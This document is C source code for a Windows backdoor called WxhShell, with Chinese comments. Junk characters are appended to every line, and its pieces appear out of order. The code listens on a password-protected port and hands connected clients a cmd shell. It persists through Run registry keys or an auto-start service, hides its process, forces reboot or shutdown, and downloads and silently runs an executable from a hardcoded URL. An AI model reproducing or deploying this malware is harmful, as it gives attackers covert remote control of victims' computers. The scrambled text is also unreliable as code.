    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G4QsR7  
    if(Boot(SHUTDOWN)) ~NB lJULS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gM_MK8py  
    else { Pw/$ }Q9X  
    closesocket(wsh); G[s/M\l  
    ExitThread(0); U~_G *0  
    } Qo])A6$IU  
    break; tN-B`d 1  
    } eGi|S'L'  
  // 获取shell k?`Q\  
  case 's': { ?jH u,  
    CmdShell(wsh); ]X<L~s_*  
    closesocket(wsh); LhQidvCNJ  
    ExitThread(0); _2rxDd1#.  
    break; Jk,}3Cr/  
  } Qvm[2mb  
  // 退出 cPg$*,]  
  case 'x': { P/ 7aj:h~P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w02t9vz  
    CloseIt(wsh); 7 ^n{BsN  
    break; &OP =O*B  
    } mcLxX'c6<h  
  // 离开 [A46WF>L  
  case 'q': { R\:t 73  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X DAwE  
    closesocket(wsh); GdtR  /1  
    WSACleanup(); N3o kN8d  
    exit(1); 5gbD|^ij  
    break; (m& ''yaH  
        } ;%Rp=&J  
  } '~OKt`SfIo  
  } ^5 ~)m6=2  
A^@,Ha  
  // 提示信息 TDY =!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X2to](\% X  
} d{~Qd|<rr  
  } *[0)]|r  
u,),kj<  
  return; uW^W/S%'  
} n8 e4`-cY  
XaR(~2  
// shell模块句柄 ]-tAgNzl%  
int CmdShell(SOCKET sock) V SUz+W  
{ 8,YxCm ie  
STARTUPINFO si; GN ?1dwI  
ZeroMemory(&si,sizeof(si)); $-;x8O]u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &$hT27A>k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dxF/]>t  
PROCESS_INFORMATION ProcessInfo; Y~uqKb;A  
char cmdline[]="cmd"; "i/3m'<2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rBovC  
  return 0; iMXK_O%  
} \|q.M0  
/S\y-M9  
// 自身启动模式 NZ?|#5 3  
int StartFromService(void) 6v9A7g;4.  
{ +Y|HO[  
typedef struct nO7#m~  
{ ZeP3 Yjr3  
  DWORD ExitStatus; ?jRyw(Q  
  DWORD PebBaseAddress; +yYSp8>  
  DWORD AffinityMask; 1[r;  
  DWORD BasePriority; 7{:g|dX  
  ULONG UniqueProcessId; Il,^/qvIY  
  ULONG InheritedFromUniqueProcessId; (VA:`pstP  
}   PROCESS_BASIC_INFORMATION; +i.b&PF'H  
(8/Qt\3jv  
PROCNTQSIP NtQueryInformationProcess; )XAD#GYM  
l#G }j^Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Jb[_d*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b(McH*_8e  
|`yzH$,F  
  HANDLE             hProcess; s(Tgv  
  PROCESS_BASIC_INFORMATION pbi; KV$J*B Y  
58 Rmq/6s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M=aWL!nJ  
  if(NULL == hInst ) return 0; 3U73_=>=&  
(" +/ :  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $6]7>:8mz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l TJqWSV=f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y8yRQ zu  
=2=n   
  if (!NtQueryInformationProcess) return 0; HN*w(bROr  
P"WnU'+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &]2z)&a  
  if(!hProcess) return 0; uY;2tZldf=  
fC4 D#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `+(|$?Cu  
 *R6n+d  
  CloseHandle(hProcess);  T8i9  
d#9"_{P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (]mh}=:KDg  
if(hProcess==NULL) return 0; Ur]~>-Z  
g(0 |p6R  
HMODULE hMod; {m/\AG)1I  
char procName[255]; 6*,8 H&  
unsigned long cbNeeded; `[;b#.  
( |1 $zF+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 43;@m}|7$  
G'<J8;B* t  
  CloseHandle(hProcess); <(Wa8PY2(  
[z:bnS~yiD  
if(strstr(procName,"services")) return 1; // 以服务启动 3?vasL  
`1NxS35u  
  return 0; // 注册表启动 "kKIVlC  
} rZy38Wo  
=Po!\[SBU  
// 主模块 C'hI{4@P  
int StartWxhshell(LPSTR lpCmdLine) $+<X 1  
{ 6?0 ^U 9  
  SOCKET wsl; gnoV>ON0  
BOOL val=TRUE; Y'n TyH  
  int port=0; ]rDf3_!m(  
  struct sockaddr_in door; D4m2*%M  
^ZFbp@#U  
  if(wscfg.ws_autoins) Install(); N1KYV&'o  
}B_n}<tjD  
port=atoi(lpCmdLine); #(jozl_8  
,sk;|OAI  
if(port<=0) port=wscfg.ws_port; .BXZ\r`  
X9nt;A2TU+  
  WSADATA data; P sD+?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uKqN  
`OnN12`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <>f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >Ge&v'~_|  
  door.sin_family = AF_INET;  y'Xg"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :x97^.eW~  
  door.sin_port = htons(port);  `-4c}T  
0z."6 r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iLy }G7h  
closesocket(wsl); Z\xR+3  
return 1; S,vrz!'>A  
} E`>-+~ZUsk  
l_u1 ~K  
  if(listen(wsl,2) == INVALID_SOCKET) { N40.GL0s  
closesocket(wsl); `6!l!8 v  
return 1; +J$[RxQ#  
} _U$d.B'*)z  
  Wxhshell(wsl); [Y*p I&f  
  WSACleanup(); G3 #c  
PP&AF?C  
return 0; /wI$}X5o~  
5_M9T 3  
} E$f.&<>T  
j0o_``  
// 以NT服务方式启动 .0#?u1gXsX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9wC q  
{ hti)<#f  
DWORD   status = 0; 52K3N^RgR  
  DWORD   specificError = 0xfffffff; of8/~VO  
c^UG}:Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rayC1#f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Eti;(>"@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,/|"0$p2x  
  serviceStatus.dwWin32ExitCode     = 0; w^NE`4 -  
  serviceStatus.dwServiceSpecificExitCode = 0; (2QFwBW]  
  serviceStatus.dwCheckPoint       = 0; [1dlV/  
  serviceStatus.dwWaitHint       = 0; "m _wYX  
0NZg[>H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k%/Z.4vQG  
  if (hServiceStatusHandle==0) return; r3/H_Z  
28LjQ!  
status = GetLastError(); UbJ_'>hK6  
  if (status!=NO_ERROR) *xM4nUu<~  
{ yFshV\   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E*.D_F  
    serviceStatus.dwCheckPoint       = 0; XJC|6"n  
    serviceStatus.dwWaitHint       = 0; mE%H5&VSI  
    serviceStatus.dwWin32ExitCode     = status; 5sEq`P}5  
    serviceStatus.dwServiceSpecificExitCode = specificError; $=TFTSO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <:2El9l!  
    return; 4rc4}Yu,JI  
  } -j`tBv)  
Qy*`s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7z)Hq./3@  
  serviceStatus.dwCheckPoint       = 0; pqBd#  
  serviceStatus.dwWaitHint       = 0; w=s:e M@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gsqlWfa  
} ,*Tf9=z  
-k|r#^(G2  
// 处理NT服务事件,比如:启动、停止 4H]Go~<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +tkDT@ `  
{ /^G1wz2  
switch(fdwControl) dG'aJQw  
{ - {>JF  
case SERVICE_CONTROL_STOP: T'  %TMA  
  serviceStatus.dwWin32ExitCode = 0; &#F>%~<or  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qn ME|j\  
  serviceStatus.dwCheckPoint   = 0; MVs@~=  
  serviceStatus.dwWaitHint     = 0; H? Z5ex  
  { (g`G(K_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ']4b}F:}  
  } /9,!)/j  
  return; .EM0R\q  
case SERVICE_CONTROL_PAUSE:  btJ:Wt}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O[U^{~iM  
  break; -Id4P _y  
case SERVICE_CONTROL_CONTINUE:  ztKmB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :$~)i?ge<5  
  break; :Gsh  
case SERVICE_CONTROL_INTERROGATE: b lP@Cn2  
  break; -hiG8%l5  
}; g'ha7~w(p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7+0Kg'^+n  
} R?b3G4~  
'c*Q/C;  
// 标准应用程序主函数 =&;orP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LuM:dJ  
{ 0?8O9i  
}><Vc ouJ[  
// 获取操作系统版本 9=O`?$y  
OsIsNt=GetOsVer(); 9fj3q>Un,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fb3(9  
VNBf2Va  
  // 从命令行安装 hO w  
  if(strpbrk(lpCmdLine,"iI")) Install(); ``$Dgj[  
tPBr{  
  // 下载执行文件 Yj3j?.JJk  
if(wscfg.ws_downexe) { 8yij=T*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sio^FOTD  
  WinExec(wscfg.ws_filenam,SW_HIDE); HX%lL }E  
} v._Q XcE  
M3P\1  
if(!OsIsNt) { Y"6 '  
// 如果时win9x,隐藏进程并且设置为注册表启动 .sI*\@w.  
HideProc(); +z}O*,M"q  
StartWxhshell(lpCmdLine); .< 7M4Z  
}  mo+zq~,M  
else 7iMBDkb7  
  if(StartFromService()) v;m`d{(i2  
  // 以服务方式启动 H3\4&q  
  StartServiceCtrlDispatcher(DispatchTable); hEUS&`K  
else <LL+\kfTZO  
  // 普通方式启动 (#I$4Px{  
  StartWxhshell(lpCmdLine); WzG]9$v &  
r&  
return 0; cj K\(b3  
} k{\wjaf)  
RP[^1  
WV5z~[  
[bM$n m  
=========================================== vd<r}3i*  
dpAj9CX(  
OM,Dy&Y  
VWhq +8z  
Ac^hZ.qPz  
T:FaD V{  
" S $j"'K  
Rhi`4wo0$  
#include <stdio.h> D+4oV6}~  
#include <string.h> yM,.{m@F<  
#include <windows.h> zXX =WH  
#include <winsock2.h> 7`xeuK  
#include <winsvc.h> 78M%[7Cq<i  
#include <urlmon.h> A-"2sp*t  
PmjN!/  
#pragma comment (lib, "Ws2_32.lib") Dh+<|6mx  
#pragma comment (lib, "urlmon.lib") xWRkg$A  
D[jPz0  
#define MAX_USER   100 // 最大客户端连接数 I{nrOb1G(  
#define BUF_SOCK   200 // sock buffer  9}-;OJe  
#define KEY_BUFF   255 // 输入 buffer oS>VN<  
%"[`   
#define REBOOT     0   // 重启 jJ.isr|`  
#define SHUTDOWN   1   // 关机 kB#;s  
0*J},#ba$  
#define DEF_PORT   5000 // 监听端口 (V(8E%<c  
F)8M9%g5m  
#define REG_LEN     16   // 注册表键长度 2xxw8_~C  
#define SVC_LEN     80   // NT服务名长度 f]sc[_n]  
F ?N+ __o  
// 从dll定义API R6m6bsZ`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } "QL"%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "J(T?|t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z Jgy!)1n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U{C& R&z  
E$"`|Df  
// wxhshell配置信息 D4OJin^}  
struct WSCFG { zp'Vn7  
  int ws_port;         // 监听端口 sgLw,WZ:  
  char ws_passstr[REG_LEN]; // 口令 4s@oj  
  int ws_autoins;       // 安装标记, 1=yes 0=no GI5#{-)  
  char ws_regname[REG_LEN]; // 注册表键名 4`Ib wg6"B  
  char ws_svcname[REG_LEN]; // 服务名 n@=D,'cn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `g+Kv&546  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vu@@!cT6e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zI7iZ"2a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \x=j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1j_ 6Sw(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <Z j>}  
?B32,AS@  
}; *";O_ :C!  
#O1%k;BL  
// default Wxhshell configuration {>Yna"p  
struct WSCFG wscfg={DEF_PORT, nPR*mbW  
    "xuhuanlingzhe", /Ue_1Efa  
    1, \o}=ob  
    "Wxhshell", 2n3!p Z8  
    "Wxhshell", ]G}:cCpd+a  
            "WxhShell Service", `f<&=_,xfH  
    "Wrsky Windows CmdShell Service", 1|WrJ-Uf  
    "Please Input Your Password: ", ;q33t% j  
  1, F\2<q$Zn+  
  "http://www.wrsky.com/wxhshell.exe", *v#Z/RrrA  
  "Wxhshell.exe" 8&wN9tPYZ  
    }; rI#,FZ  
-uei nd]  
// 消息定义模块 @5j3[e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X:JU#sI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :>-&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #i  5@G*  
char *msg_ws_ext="\n\rExit."; \C kb:  
char *msg_ws_end="\n\rQuit."; #BW:*$>}  
char *msg_ws_boot="\n\rReboot..."; B=)tq.Q7  
char *msg_ws_poff="\n\rShutdown..."; 9P& \2/ {  
char *msg_ws_down="\n\rSave to "; U>hpYqf_  
z7!@^!r  
char *msg_ws_err="\n\rErr!"; 2*@@Bw.XA  
char *msg_ws_ok="\n\rOK!"; u= Vt3%q  
y_M,p?]^,  
char ExeFile[MAX_PATH]; n{"e8vQx  
int nUser = 0; c7@[RG !  
HANDLE handles[MAX_USER]; Ay|K>8z   
int OsIsNt; WelB"L  
&hnKBr(Lw  
SERVICE_STATUS       serviceStatus; ,In}be$:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,56objaE  
"?>hQM1R  
// 函数声明 ^WUG\@B  
int Install(void); A5^tus/y  
int Uninstall(void); ~=t K17i  
int DownloadFile(char *sURL, SOCKET wsh); IoCi(N;  
int Boot(int flag); "b[w%KYyl  
void HideProc(void); RA*W Ys&xb  
int GetOsVer(void); _i2guhRs*Q  
int Wxhshell(SOCKET wsl); 3M"eAK([  
void TalkWithClient(void *cs); P"a9+ti+'  
int CmdShell(SOCKET sock); _n+ 5{\z  
int StartFromService(void); <_#a%+5d  
int StartWxhshell(LPSTR lpCmdLine); #@:GLmD%  
g|<$ \}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <KrfM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 78kT}kgW  
g]9A?#GyE  
// 数据结构和表定义 ;v m$F251  
SERVICE_TABLE_ENTRY DispatchTable[] = Gg3< }(  
{ =2/[n8pSsM  
{wscfg.ws_svcname, NTServiceMain}, /JQY_>@W  
{NULL, NULL} \*\)zj*r  
}; {Z1^/F v3  
=j~Xrytn  
// 自我安装 '5}@# Mi  
int Install(void) %Wa. 2s  
{ <CN+VXF  
  char svExeFile[MAX_PATH]; L+Q.y~  
  HKEY key; j'q Iq;y  
  strcpy(svExeFile,ExeFile); 1Wb_>`;  
dReJ;x4  
// 如果是win9x系统,修改注册表设为自启动 jbTsrj"g  
if(!OsIsNt) { HB9|AQ4K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sJ7ZE-v]h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /EV _Y|(-  
  RegCloseKey(key); gJ?Vk<hp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?btZdnQ))S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {xCqz0  
  RegCloseKey(key); 1(jDBP!8  
  return 0; ~ ":}Rs  
    } />dYkIv  
  } DgKe!w$  
} ehyCAp0oI  
else { tQ Ia6c4|  
x"{WLZ   
// 如果是NT以上系统,安装为系统服务 NH;.!x q:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %)sG 34  
if (schSCManager!=0) -HUlB|Q8r  
{ 0tEe $9eK@  
  SC_HANDLE schService = CreateService T[eb<  
  ( o>o! -uf  
  schSCManager, ,g:\8*Y>'  
  wscfg.ws_svcname, .a7!*I#g  
  wscfg.ws_svcdisp, !+T29QYK8  
  SERVICE_ALL_ACCESS, #SqU>R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i2 G.<(3O  
  SERVICE_AUTO_START, ^e(*{K;8  
  SERVICE_ERROR_NORMAL, ?k+>~k{}a  
  svExeFile, >6 A8+=  
  NULL, ><H*T{ Pg  
  NULL, LW*v/`@  
  NULL, XY!0yAK(!  
  NULL, 2dnyIgi  
  NULL ZHimS7  
  ); :Hq#co  
  if (schService!=0)  r0,XR  
  { P; 9{;  
  CloseServiceHandle(schService); cA{7*=G?  
  CloseServiceHandle(schSCManager); ~;yP{F8?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bL0>ul"  
  strcat(svExeFile,wscfg.ws_svcname); Zk> #T:{h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4#lOAzDtv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +{au$v}  
  RegCloseKey(key); R_2T"  
  return 0; 4x"9Wr=}  
    } IM=3n%6  
  } xL$7bw5fY  
  CloseServiceHandle(schSCManager); T':} p2}w+  
} q.!<GqSgb  
} PDkg@#&y,k  
#H.DnW  
return 1; "-R19SpJKh  
} A8T8+M:  
 ,$(a,`s)  
// 自我卸载 >!W H%J  
int Uninstall(void) /q5!p0fH*  
{ )Y:C'*.r  
  HKEY key; u{5+hZ  
d[`vd^hI  
if(!OsIsNt) {  i)= \-C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c0QKx=  
  RegDeleteValue(key,wscfg.ws_regname); U?=-V8#M|  
  RegCloseKey(key); p mUG`8SY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OBL2W\{  
  RegDeleteValue(key,wscfg.ws_regname); 7UsU03  
  RegCloseKey(key); s y>}2orj~  
  return 0; 7f>~P_  
  } 0SV4p.  
} {<Y\flj{@m  
} 11?d,6Jl  
else {  }~Ir &   
QC6:ZxP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E7  P'}  
if (schSCManager!=0) #+L:V&QE  
{ YK>?;U+|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xx1eSX  
  if (schService!=0) _*++xF1  
  { [oOV@GE  
  if(DeleteService(schService)!=0) { [Gc9 3PA7q  
  CloseServiceHandle(schService); ',]^Qu`a  
  CloseServiceHandle(schSCManager); B7( bNr  
  return 0; l7#2 e ORm  
  } @  \*Zq  
  CloseServiceHandle(schService); ?*&5`Xh  
  } " TC:O^X  
  CloseServiceHandle(schSCManager); RMlx[nsq  
} *_@$ "9  
} v9"03 =h  
xM?tdQ~VHY  
return 1; B-h@\y  
} Bdm05}c@u  
`t>:i!s/  
// 从指定url下载文件 %xdyG Al:  
int DownloadFile(char *sURL, SOCKET wsh) L[tq@[(IJ  
{ #N'bhs  
  HRESULT hr; yH0vESgv  
char seps[]= "/"; qVE <voB8  
char *token; BBa!l e9P  
char *file; ~cSE 9ul  
char myURL[MAX_PATH]; :"gu=u!  
char myFILE[MAX_PATH]; Pr3>}4M  
NUh+ &M  
strcpy(myURL,sURL); !d&SVS^mo  
  token=strtok(myURL,seps); GYtp%<<9;  
  while(token!=NULL) bzh:  
  { @PV3G KJ  
    file=token; G%>M@nYUE  
  token=strtok(NULL,seps); e17]{6y  
  } P98g2ak  
,8o Y(h  
GetCurrentDirectory(MAX_PATH,myFILE); +iw4>0pi  
strcat(myFILE, "\\"); \hP.Q;"MtO  
strcat(myFILE, file); Va^(cnwa  
  send(wsh,myFILE,strlen(myFILE),0); *2 ~"%"C  
send(wsh,"...",3,0); HqXS-TG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QObHW[:F  
  if(hr==S_OK) x!fgZr{  
return 0; :XB^IyO-A  
else Wa9yyc  
return 1; %II o  
gnlU  
} =l>=]O~h  
n@J>,K_B  
// 系统电源模块 ,,;vG6^a  
int Boot(int flag) | CPyCM$  
{ { T?1v*.[  
  HANDLE hToken; c"P:p%\m&u  
  TOKEN_PRIVILEGES tkp; r%%@~ \z  
rN'}IS@5  
  if(OsIsNt) { XRi37|p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h]&o)%{4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5YLc4z*  
    tkp.PrivilegeCount = 1; C)ic;!$Qhb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,; n[_f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3\K;y>NK  
if(flag==REBOOT) { &.JJhX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5:%`&B\  
  return 0; f<>CSjQ4c  
} .>p.k*vU  
else { BzTzIo5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zN/nKj: Q  
  return 0; AsR}qqG  
} izR#XeBm  
  } 63kZ#5g(Dw  
  else { x M{SFF  
if(flag==REBOOT) { &;U F,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s1p<F,  
  return 0; M6y|;lh''c  
} J7@Q;gcl:  
else { q oEZ>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >J{e_C2ZS  
  return 0; ol}}c6  
} Tn?D~?a*O  
} wpt5'|I  
#wJ^:r-c`  
return 1; @{ L|&Mk!  
} y0'WB`hNQ  
g\H~Y@'{  
// win9x进程隐藏模块 B.~[m}  
void HideProc(void) [d=BN ,?  
{ d}wE4(]b  
3?TUt{3g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @eYD@!  
  if ( hKernel != NULL ) <g64N  
  { &_' evZ8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6t gq.XL^n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  p4P"U  
    FreeLibrary(hKernel); B[5<&  
  } df/7u}>9  
7wHd*{^9N  
return; **c"}S6:mC  
} [-^xw1:  
rr2^sQ;_  
// 获取操作系统版本 >AWWwq -  
int GetOsVer(void) K14v6d  
{ L }R-|  
  OSVERSIONINFO winfo; ?y,KN}s_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gFXz:!A  
  GetVersionEx(&winfo); @B!gxW\C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IV%Rph>d  
  return 1; Yw\lNhoPS  
  else CDT;AdRw7  
  return 0; )U{\c2b  
} $p*.[)  
[}5mi?v  
// 客户端句柄模块 *P?Rucg  
int Wxhshell(SOCKET wsl) sVe<l mL  
{ I(j$^DA.  
  SOCKET wsh; :W$- b  
  struct sockaddr_in client; 3~Ll<8fv  
  DWORD myID; I(b]V!mj:  
O"wo&5b_  
  while(nUser<MAX_USER) ADA}_|O  
{ BY@l:y4  
  int nSize=sizeof(client); {D8yqO A}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sx1OY0)s  
  if(wsh==INVALID_SOCKET) return 1; bd2QQ1[1vh  
V/RV,K1/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); whFJ]  
if(handles[nUser]==0) F:AVik  
  closesocket(wsh); '_ys4hz}  
else lkJe7 +s  
  nUser++; BW ux!  
  } QkYKm<b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BN6cu9a  
"d2JNFIHb  
  return 0; ER;\Aes*?  
} Kd*=-  
yTf/]H]d  
// 关闭 socket @S 0mNA  
void CloseIt(SOCKET wsh) 5yjG\ ~  
{ v`U;.W  
closesocket(wsh); g*!1S  
nUser--; >?.jN|  
ExitThread(0); FM|3'a-z  
} 7c8`D;A-K  
z`,dEGfh^  
// 客户端请求句柄  IuMJ-"  
void TalkWithClient(void *cs) ^?|d< J:{  
{ <@c@`K  
R0K{wY58  
  SOCKET wsh=(SOCKET)cs; z'\BZ5riX<  
  char pwd[SVC_LEN]; kV4L4yE  
  char cmd[KEY_BUFF]; AqH GBH0  
char chr[1]; qRq4PQ@  
int i,j; -J0I2D  
f`8?]@y{  
  while (nUser < MAX_USER) { "BIhd*K[~  
`/<f([w  
if(wscfg.ws_passstr) { (0Jr<16si$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |hX\ep   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I:1Pz|$`  
  //ZeroMemory(pwd,KEY_BUFF); ;@O8y\@  
      i=0; )k]{FM  
  while(i<SVC_LEN) { C8=rsh  
h?vny->uJ  
  // 设置超时 %v UUx+  
  fd_set FdRead; w }8=sw  
  struct timeval TimeOut; IsjN xBM  
  FD_ZERO(&FdRead); VBW][f  
  FD_SET(wsh,&FdRead); SJE!14|e  
  TimeOut.tv_sec=8; Swgvj(y;!A  
  TimeOut.tv_usec=0; z?GtC{L9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <SdOb#2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }%<cF i &  
ry+|gCZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c?6(mU\x  
  pwd=chr[0]; e0IGx]5i  
  if(chr[0]==0xd || chr[0]==0xa) { "B9zQ,[Q  
  pwd=0; Iz&d S?p_  
  break; Sg13Dp @x  
  } 8E>2 6@.  
  i++; M #%V%<  
    } ony;U#^T  
iZ0(a   
  // 如果是非法用户,关闭 socket h]4qJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aHPx'R  
} 4-9cp=\PE  
;zSV~G6-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ClufP6'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3%u: c]-wF  
nO;ox*Bk+8  
while(1) { 7 ,Q7`}gBf  
r l;Y7l  
  ZeroMemory(cmd,KEY_BUFF); }IQ![T5  
k8cR`5 @PK  
      // 自动支持客户端 telnet标准   "V,dH%&j  
  j=0; mn(MgJKQ\  
  while(j<KEY_BUFF) { K k^!P*#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5U*${  
  cmd[j]=chr[0]; {@s6ly].  
  if(chr[0]==0xa || chr[0]==0xd) { m-q O yt  
  cmd[j]=0; i6i;{\tc  
  break; UM'JK#P"  
  } X*e:MRw[  
  j++; N8!e(Y K_  
    } -CPLgT  
, _xJ9_  
  // 下载文件 }@53*h i(  
  if(strstr(cmd,"http://")) { VD{_6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wHQYBYKcd  
  if(DownloadFile(cmd,wsh)) 7K!n'dAi6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HBw0 N?  
  else }~#qDrK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @d|]BqQ4jh  
  } U* T :p>&  
  else { Fd._D"  
